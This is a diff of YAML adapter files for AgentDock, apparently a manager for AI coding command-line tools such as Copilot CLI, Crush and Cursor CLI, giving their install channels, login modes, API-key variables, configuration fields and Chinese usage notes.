||||||
|
method: npm_update
|
||||||
|
command: [npm, update, -g, "@tencent-ai/codebuddy-code"]
|
||||||
|
source:
|
||||||
|
kind: npm
|
||||||
|
package: "@tencent-ai/codebuddy-code"
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: npm_uninstall
|
||||||
|
command: [npm, uninstall, -g, "@tencent-ai/codebuddy-code"]
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: browser_oauth
|
||||||
|
command: [codebuddy]
|
||||||
|
notes_zh: 运行 codebuddy 后按提示用微信扫码登录(也可在会话中输入 /login)
|
||||||
|
- mode: local_tui
|
||||||
|
command: [codebuddy]
|
||||||
|
notes_zh: 在一次性终端窗口内完成微信扫码登录
|
||||||
|
|
||||||
|
# 配置机制(真机实测补齐):~/.codebuddy/settings.json(JSON)。
|
||||||
|
# 官方未披露配置文件位置,本波真机定位到 ~/.codebuddy/settings.json;
|
||||||
|
# 主要配置经 `codebuddy config set [-g] <key> <value>` 管理,API Key 未确认(以微信登录为主)。
|
||||||
|
configuration:
|
||||||
|
files:
|
||||||
|
- path: "~/.codebuddy/settings.json"
|
||||||
|
format: json
|
||||||
|
scope: user
|
||||||
|
environment: []
|
||||||
|
fields:
|
||||||
|
- id: model
|
||||||
|
label_zh: 默认模型
|
||||||
|
group: common
|
||||||
|
help_zh: 默认模型 ID(对应 --model 参数,如 deepseek-v4-pro / glm-5.3 等);可用 `codebuddy config set -g model <id>` 设置
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: string
|
||||||
|
storage: file
|
||||||
|
docs_url: https://codebuddy.ai/docs
|
||||||
|
- id: theme
|
||||||
|
label_zh: 主题
|
||||||
|
group: common
|
||||||
|
help_zh: 界面主题(对应 `codebuddy config set -g theme <dark|light>`)
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: enum
|
||||||
|
storage: file
|
||||||
|
docs_url: https://codebuddy.ai/docs
|
||||||
|
options:
|
||||||
|
- value: dark
|
||||||
|
label_zh: 深色
|
||||||
|
- value: light
|
||||||
|
label_zh: 浅色
|
||||||
|
- id: sandbox.enabled
|
||||||
|
label_zh: 沙箱模式
|
||||||
|
group: advanced
|
||||||
|
help_zh: 官方键 sandbox.enabled,是否启用沙箱(默认关闭)
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: bool
|
||||||
|
storage: file
|
||||||
|
docs_url: https://codebuddy.ai/docs
|
||||||
|
|
||||||
|
models:
|
||||||
|
list:
|
||||||
|
- id: deepseek-v4-pro
|
||||||
|
label_zh: DeepSeek V4 Pro
|
||||||
|
- id: glm-5.3
|
||||||
|
label_zh: GLM 5.3
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: dependency.node_below_min
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
- rule_id: config.corrupt
|
||||||
|
|
||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后运行 `codebuddy` 微信扫码登录,或用 `codebuddy -p "提示词"` 无头执行。
|
||||||
|
install_zh: 双升级路径:① npm `@tencent-ai/codebuddy-code`(本适配器默认渠道,需 Node 22+);② 原生线 `codebuddy install stable`。两线均走官方渠道,不重打包。
|
||||||
|
auth_zh: 微信扫码登录(运行 `codebuddy` 后按提示,或在会话中输入 /login)。API Key 官方未确认,本适配器不提供。
|
||||||
|
commands:
|
||||||
|
- cmd: codebuddy
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: codebuddy -p "提示词"
|
||||||
|
desc_zh: 无头单次执行(--print)
|
||||||
|
- cmd: codebuddy --output-format json -p "提示词"
|
||||||
|
desc_zh: 以 JSON 输出
|
||||||
|
- cmd: codebuddy --model <模型>
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- cmd: codebuddy config set -g theme dark
|
||||||
|
desc_zh: 修改全局配置项
|
||||||
|
- cmd: codebuddy install stable
|
||||||
|
desc_zh: 安装原生线稳定版
|
||||||
|
- cmd: codebuddy update
|
||||||
|
desc_zh: 检查并安装更新
|
||||||
|
- cmd: codebuddy doctor
|
||||||
|
desc_zh: 自更新健康检查
|
||||||
|
params:
|
||||||
|
- param: -p / --print
|
||||||
|
desc_zh: 无头模式,执行后退出
|
||||||
|
- param: --output-format
|
||||||
|
desc_zh: 输出格式(text / json / stream-json)
|
||||||
|
- param: --model
|
||||||
|
desc_zh: 指定模型 ID
|
||||||
|
- param: -c / --continue
|
||||||
|
desc_zh: 续接最近会话
|
||||||
|
- param: -y / --dangerously-skip-permissions
|
||||||
|
desc_zh: 跳过权限检查(仅限无外网沙箱)
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- 配置路径官方未披露,本波真机实测定位到 ~/.codebuddy/settings.json
|
||||||
|
- API Key 官方未确认,本适配器仅提供微信登录,不提供 API Key 配置
|
||||||
|
- 专有许可:只引导官方渠道安装,不重打包、不修改二进制
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ platforms:
|
|||||||
official:
|
official:
|
||||||
homepage: https://github.com/openai/codex
|
homepage: https://github.com/openai/codex
|
||||||
docs: https://learn.chatgpt.com/docs/codex/cli
|
docs: https://learn.chatgpt.com/docs/codex/cli
|
||||||
allowed_hosts: [chatgpt.com, github.com, releases.openai.com, registry.npmjs.org]
|
allowed_hosts: [chatgpt.com, github.com, api.github.com, releases.openai.com, registry.npmjs.org, api.openai.com]
|
||||||
|
|
||||||
runtime_deps: []
|
runtime_deps: []
|
||||||
|
|
||||||
@@ -56,6 +56,9 @@ detect:
|
|||||||
update:
|
update:
|
||||||
method: npm_update
|
method: npm_update
|
||||||
command: [npm, update, -g, "@openai/codex"]
|
command: [npm, update, -g, "@openai/codex"]
|
||||||
|
source:
|
||||||
|
kind: npm
|
||||||
|
package: "@openai/codex"
|
||||||
|
|
||||||
uninstall:
|
uninstall:
|
||||||
method: npm_uninstall
|
method: npm_uninstall
|
||||||
@@ -75,6 +78,10 @@ authorization:
|
|||||||
command: [codex, login, --with-api-key]
|
command: [codex, login, --with-api-key]
|
||||||
env_keys: [OPENAI_API_KEY]
|
env_keys: [OPENAI_API_KEY]
|
||||||
notes_zh: API Key 从系统密钥库读取,经 stdin 注入,不进 argv
|
notes_zh: API Key 从系统密钥库读取,经 stdin 注入,不进 argv
|
||||||
|
test:
|
||||||
|
url: https://api.openai.com/v1/models
|
||||||
|
key_header: Authorization
|
||||||
|
bearer: true
|
||||||
|
|
||||||
# 配置机制(调研底稿 §1「配置机制」):用户级 ~/.codex/config.toml(TOML)
|
# 配置机制(调研底稿 §1「配置机制」):用户级 ~/.codex/config.toml(TOML)
|
||||||
# 官方确认可配:model / approval_policy / sandbox_mode / model_reasoning_effort /
|
# 官方确认可配:model / approval_policy / sandbox_mode / model_reasoning_effort /
|
||||||
@@ -136,6 +143,13 @@ configuration:
|
|||||||
storage: keyring
|
storage: keyring
|
||||||
docs_url: https://learn.chatgpt.com/docs/config-file/config-advanced
|
docs_url: https://learn.chatgpt.com/docs/config-file/config-advanced
|
||||||
|
|
||||||
|
models:
|
||||||
|
list:
|
||||||
|
- id: gpt-5.6-terra
|
||||||
|
label_zh: GPT-5.6 Terra(默认)
|
||||||
|
- id: gpt-5
|
||||||
|
label_zh: GPT-5
|
||||||
|
|
||||||
diagnostics:
|
diagnostics:
|
||||||
- rule_id: path.not_installed
|
- rule_id: path.not_installed
|
||||||
- rule_id: path.not_in_path
|
- rule_id: path.not_in_path
|
||||||
|
|||||||
+113
-21
@@ -1,28 +1,120 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · GitHub Copilot CLI(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
# 备注:登录方式以本机终端 /login 为主;无头用 PAT 环境变量授权;需 Copilot 订阅。
|
||||||
#
|
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: copilot
|
id: copilot
|
||||||
name: Copilot CLI
|
name: Copilot CLI
|
||||||
name_zh: Copilot CLI
|
name_zh: Copilot CLI
|
||||||
vendor: GitHub
|
vendor: GitHub
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: 专有(仅官方渠道安装、不重打包)
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: winget 渠道需 PowerShell 6+(winget 安装 GitHub.Copilot)
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://github.com/features/copilot
|
||||||
|
docs: https://docs.github.com/copilot
|
||||||
|
allowed_hosts: [github.com, docs.github.com, registry.npmjs.org]
|
||||||
|
|
||||||
|
runtime_deps: []
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: winget
|
||||||
|
channels:
|
||||||
|
- id: winget
|
||||||
|
platforms: [windows]
|
||||||
|
command: [winget, install, GitHub.Copilot]
|
||||||
|
package: GitHub.Copilot
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: npm
|
||||||
|
platforms: [windows, linux]
|
||||||
|
command: [npm, install, -g, "@github/copilot"]
|
||||||
|
package: "@github/copilot"
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: copilot
|
||||||
|
version_args: ["--version"]
|
||||||
|
version_regex: "(\\d+\\.\\d+\\.\\d+)"
|
||||||
|
|
||||||
|
update:
|
||||||
|
method: winget_upgrade
|
||||||
|
command: [winget, upgrade, GitHub.Copilot]
|
||||||
|
source:
|
||||||
|
kind: npm
|
||||||
|
package: "@github/copilot"
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: package_manager
|
||||||
|
command: [winget, uninstall, GitHub.Copilot]
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: local_tui
|
||||||
|
command: [copilot]
|
||||||
|
notes_zh: 运行 copilot 后输入 /login 在终端内登录 GitHub 账号
|
||||||
|
- mode: api_key
|
||||||
|
env_keys: [GH_TOKEN]
|
||||||
|
notes_zh: 无头授权:设置 GitHub PAT(GH_TOKEN)环境变量后无需交互登录
|
||||||
|
|
||||||
|
# 配置机制(调研底稿 Copilot 章节):JSON + 环境变量(COPILOT_*)。
|
||||||
|
# 无头授权用 PAT 环境变量;交互登录经 /login 写回本机会话。
|
||||||
|
configuration:
|
||||||
|
files: []
|
||||||
|
environment:
|
||||||
|
- key: GH_TOKEN
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
- key: COPILOT_API_KEY
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
fields:
|
||||||
|
- id: api_key
|
||||||
|
label_zh: 访问令牌(PAT)
|
||||||
|
group: auth
|
||||||
|
help_zh: 存入系统密钥库(对应 GH_TOKEN / COPILOT_API_KEY),用于无头授权;需 Copilot 订阅
|
||||||
|
required: false
|
||||||
|
sensitive: true
|
||||||
|
type: string
|
||||||
|
storage: keyring
|
||||||
|
docs_url: https://docs.github.com/copilot
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
|
||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后运行 `copilot`,在终端输入 `/login` 登录 GitHub 账号;或用 `copilot -p "提示词"` 无头执行。
|
||||||
|
install_zh: Windows 推荐 winget `GitHub.Copilot`(需 PowerShell 6+);双端可用 npm `@github/copilot`。Ubuntu 另有官方脚本 / brew 渠道。
|
||||||
|
auth_zh: ① 本机终端登录:运行 `copilot` 输入 /login(交互);② 无头 PAT:设置 GH_TOKEN(或 COPILOT_API_KEY)环境变量。需要有效 Copilot 订阅(个人/商业/企业)。
|
||||||
|
commands:
|
||||||
|
- cmd: copilot
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: copilot -p "提示词"
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- cmd: copilot --help
|
||||||
|
desc_zh: 查看帮助
|
||||||
|
params:
|
||||||
|
- param: -p / --print
|
||||||
|
desc_zh: 无头模式执行后退出
|
||||||
|
- param: --output-format
|
||||||
|
desc_zh: 输出格式
|
||||||
|
- param: --model
|
||||||
|
desc_zh: 指定模型
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- 需要有效 Copilot 订阅(免费 GitHub 账号不提供 Copilot CLI 完整能力)
|
||||||
|
- 真机 `copilot --version` 返回「GitHub Copilot CLI 1.0.80.」,版本检测已据此确认
|
||||||
|
- winget 渠道需 PowerShell 6+(见 platforms.notes)
|
||||||
|
|||||||
+137
-21
@@ -1,28 +1,144 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · Crush(Charm)(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
# 注意:crushrc 是 Bash 语法配置,走 Wave 1 专用解析器(只识别内建赋值,不执行任意脚本)。
|
||||||
#
|
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: crush
|
id: crush
|
||||||
name: Crush
|
name: Crush
|
||||||
name_zh: Crush
|
name_zh: Crush
|
||||||
vendor: Charm
|
vendor: Charm
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: FSL(Functional Source License,仅引导官方安装、不重分发源码)
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: winget / scoop / Releases 渠道
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://github.com/charmbracelet/crush
|
||||||
|
docs: https://github.com/charmbracelet/crush
|
||||||
|
allowed_hosts: [github.com, api.github.com, charm.sh]
|
||||||
|
|
||||||
|
runtime_deps: []
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: winget
|
||||||
|
channels:
|
||||||
|
- id: winget
|
||||||
|
platforms: [windows]
|
||||||
|
command: [winget, install, charmbracelet.crush]
|
||||||
|
package: charmbracelet.crush
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: npm
|
||||||
|
platforms: [windows, linux]
|
||||||
|
command: [npm, install, -g, "@charmland/crush"]
|
||||||
|
package: "@charmland/crush"
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: apt
|
||||||
|
platforms: [linux]
|
||||||
|
command: [sudo, apt-get, install, -y, crush]
|
||||||
|
package: crush
|
||||||
|
elevate: required
|
||||||
|
elevate_reason_zh: 官方 apt 仓库(GPG)安装需要管理员权限
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: github_release
|
||||||
|
platforms: [windows, linux]
|
||||||
|
package: crush
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: crush
|
||||||
|
version_args: ["--version"]
|
||||||
|
version_unconfirmed: true
|
||||||
|
|
||||||
|
update:
|
||||||
|
method: winget_upgrade
|
||||||
|
command: [winget, upgrade, charmbracelet.crush]
|
||||||
|
source:
|
||||||
|
kind: github
|
||||||
|
repo: charmbracelet/crush
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: package_manager
|
||||||
|
command: [winget, uninstall, charmbracelet.crush]
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: api_key
|
||||||
|
env_keys: [OPENAI_API_KEY, ANTHROPIC_API_KEY]
|
||||||
|
notes_zh: 各家模型 API Key(环境变量注入);crushrc 内亦可用 export 语句
|
||||||
|
|
||||||
|
# 配置机制:crushrc 是 Bash 语法配置(~/.config/crush/crushrc)。
|
||||||
|
# 走 Wave 1 专用解析器:只识别内建赋值(export KEY=value 等),不执行任意脚本,未知行原样保留。
|
||||||
|
configuration:
|
||||||
|
files:
|
||||||
|
- path: "~/.config/crush/crushrc"
|
||||||
|
format: crushrc
|
||||||
|
scope: user
|
||||||
|
environment:
|
||||||
|
- key: OPENAI_API_KEY
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
fields:
|
||||||
|
- id: api_key
|
||||||
|
label_zh: API Key
|
||||||
|
group: auth
|
||||||
|
help_zh: 存入系统密钥库(对应 OPENAI_API_KEY 等环境变量);crushrc 内也可用 export 注入
|
||||||
|
required: false
|
||||||
|
sensitive: true
|
||||||
|
type: string
|
||||||
|
storage: keyring
|
||||||
|
docs_url: https://github.com/charmbracelet/crush
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
- rule_id: config.corrupt
|
||||||
|
|
||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后配置 API Key,运行 `crush` 进入会话,或用 `crush -p "提示词"` 无头执行。
|
||||||
|
install_zh: Windows 推荐 winget `charmbracelet.crush`;Ubuntu 用官方 apt 仓库(GPG)。备选 npm `@charmland/crush` / scoop / GitHub Releases。
|
||||||
|
auth_zh: 仅 API Key(环境变量注入):OPENAI_API_KEY / ANTHROPIC_API_KEY 等各家模型 Key。crushrc 内也可用 export 语句。
|
||||||
|
commands:
|
||||||
|
- cmd: crush
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: crush "提示词"
|
||||||
|
desc_zh: 直接以提示词启动
|
||||||
|
- cmd: crush -p "提示词"
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- cmd: crush --session <名称>
|
||||||
|
desc_zh: 指定会话名
|
||||||
|
- cmd: crush --continue
|
||||||
|
desc_zh: 续接最近会话
|
||||||
|
- cmd: crush --list-sessions
|
||||||
|
desc_zh: 列出会话
|
||||||
|
- cmd: crush --model <模型>
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- cmd: crush --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
params:
|
||||||
|
- param: -p / --print
|
||||||
|
desc_zh: 无头模式单次执行
|
||||||
|
- param: --session
|
||||||
|
desc_zh: 指定会话名
|
||||||
|
- param: --continue
|
||||||
|
desc_zh: 续接最近会话
|
||||||
|
- param: --model
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- param: --list-sessions
|
||||||
|
desc_zh: 列出会话
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- crushrc 是 Bash 语法配置,AgentDock 走专用解析器,只识别内建赋值、不执行任意脚本
|
||||||
|
- --version 官方未确认,适配器已标 version_unconfirmed(命令细节以 `crush --help` 实测为准)
|
||||||
|
- FSL 许可:仅引导官方安装,不重分发源码、不修改二进制
|
||||||
|
|||||||
+152
-21
@@ -1,28 +1,159 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · Cursor CLI(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3 + 真机实测
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
# 真机:agent --version → 2026.08.11-e8db854;配置 ~/.cursor/cli-config.json(JSON)。
|
||||||
#
|
# 铁律:命令名是 `agent`(不是 cursor-agent);只有官方脚本渠道,无 npm。
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: cursor
|
id: cursor
|
||||||
name: Cursor CLI
|
name: Cursor CLI
|
||||||
name_zh: Cursor CLI
|
name_zh: Cursor CLI
|
||||||
vendor: Cursor
|
vendor: Cursor
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: 专有(仅官方渠道安装、不重打包)
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: 仅官方脚本渠道;命令名为 agent
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://cursor.com
|
||||||
|
docs: https://cursor.com/docs/cli
|
||||||
|
allowed_hosts: [cursor.com, api2.cursor.sh]
|
||||||
|
|
||||||
|
runtime_deps: []
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: official_script
|
||||||
|
channels:
|
||||||
|
- id: official_script
|
||||||
|
platforms: [windows]
|
||||||
|
script:
|
||||||
|
url: https://cursor.com/install?win32=true
|
||||||
|
kind: powershell_irm
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: official_script
|
||||||
|
platforms: [linux]
|
||||||
|
script:
|
||||||
|
url: https://cursor.com/install
|
||||||
|
kind: bash_pipe
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: agent
|
||||||
|
version_args: ["--version"]
|
||||||
|
version_regex: "^(\\d{4}\\.\\d{2}\\.\\d{2})"
|
||||||
|
path_hints:
|
||||||
|
- "%LOCALAPPDATA%\\cursor-agent\\agent.cmd"
|
||||||
|
|
||||||
|
update:
|
||||||
|
method: self_update_cmd
|
||||||
|
command: [agent, update]
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: manual_delete
|
||||||
|
command: []
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: browser_oauth
|
||||||
|
command: [agent, login]
|
||||||
|
status_command: [agent, status]
|
||||||
|
notes_zh: 浏览器登录 Cursor 账号(NO_OPEN_BROWSER 可禁用自动打开浏览器)
|
||||||
|
- mode: api_key
|
||||||
|
env_keys: [CURSOR_API_KEY]
|
||||||
|
notes_zh: API Key(CURSOR_API_KEY 环境变量或 --api-key 参数)
|
||||||
|
|
||||||
|
# 配置机制(真机实测):~/.cursor/cli-config.json(JSON)。
|
||||||
|
# 账户体系为主(authInfo 存 OAuth 登录态);model.modelId / approvalMode 可经文件或 agent 命令调整。
|
||||||
|
configuration:
|
||||||
|
files:
|
||||||
|
- path: "~/.cursor/cli-config.json"
|
||||||
|
format: json
|
||||||
|
scope: user
|
||||||
|
environment:
|
||||||
|
- key: CURSOR_API_KEY
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
fields:
|
||||||
|
- id: model.modelId
|
||||||
|
label_zh: 默认模型
|
||||||
|
group: common
|
||||||
|
help_zh: 官方键 model.modelId,默认模型(真机为 default,即 auto)
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: string
|
||||||
|
storage: file
|
||||||
|
docs_url: https://cursor.com/docs/cli
|
||||||
|
- id: approvalMode
|
||||||
|
label_zh: 审批模式
|
||||||
|
group: advanced
|
||||||
|
help_zh: 官方键 approvalMode(allowlist / yolo / default 等)
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: string
|
||||||
|
storage: file
|
||||||
|
docs_url: https://cursor.com/docs/cli
|
||||||
|
- id: api_key
|
||||||
|
label_zh: API Key
|
||||||
|
group: auth
|
||||||
|
help_zh: 存入系统密钥库(对应 CURSOR_API_KEY 环境变量;一般用账号登录即可,无需 API Key)
|
||||||
|
required: false
|
||||||
|
sensitive: true
|
||||||
|
type: string
|
||||||
|
storage: keyring
|
||||||
|
docs_url: https://cursor.com/docs/cli
|
||||||
|
|
||||||
|
models:
|
||||||
|
command: [agent, --list-models]
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
- rule_id: config.corrupt
|
||||||
|
|
||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后运行 `agent login` 登录 Cursor 账号,或用 `agent -p "提示词"` 无头执行。
|
||||||
|
install_zh: 仅官方脚本渠道(Windows `https://cursor.com/install?win32=true` / Linux `https://cursor.com/install`),无 npm。`agent` 命令随 Cursor 安装(也可在 Cursor 内「Install agent command」)。
|
||||||
|
auth_zh: ① 浏览器登录:`agent login`(`agent status` 查看状态);② API Key:CURSOR_API_KEY 环境变量或 --api-key。
|
||||||
|
commands:
|
||||||
|
- cmd: agent
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: agent -p "提示词"
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- cmd: agent login
|
||||||
|
desc_zh: 浏览器登录 Cursor 账号
|
||||||
|
- cmd: agent status
|
||||||
|
desc_zh: 查看认证状态
|
||||||
|
- cmd: agent --model <模型>
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- cmd: agent update
|
||||||
|
desc_zh: 更新到最新版
|
||||||
|
- cmd: agent --list-models
|
||||||
|
desc_zh: 列出可用模型
|
||||||
|
- cmd: agent --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
params:
|
||||||
|
- param: -p / --print
|
||||||
|
desc_zh: 无头模式执行后退出
|
||||||
|
- param: --model
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- param: --output-format
|
||||||
|
desc_zh: 输出格式(text / json / stream-json)
|
||||||
|
- param: --sandbox
|
||||||
|
desc_zh: 沙箱模式(enabled / disabled)
|
||||||
|
